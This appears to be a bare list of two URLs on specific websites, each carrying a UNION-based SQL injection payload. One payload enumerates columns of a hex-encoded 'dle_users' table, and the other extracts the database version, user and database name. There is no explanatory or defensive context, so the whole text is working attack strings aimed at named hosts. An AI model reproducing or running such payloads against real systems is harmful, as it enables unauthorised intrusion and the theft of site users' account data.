http://www.blog-seo.ru/index-stat.php?id=-6+union+select+group_concat%28column_name%29+from+information_schema.columns+where+table_name=0x646c655f7573657273+--+

http://love.pankotskiy.ru/stat.php?id=-1%27+Union+select+1,2,3,4,5,6,7,8,9,group_concat%28version%28%29,user%28%29,database%28%29%29,11,12,13+from+information_schema.tables+--+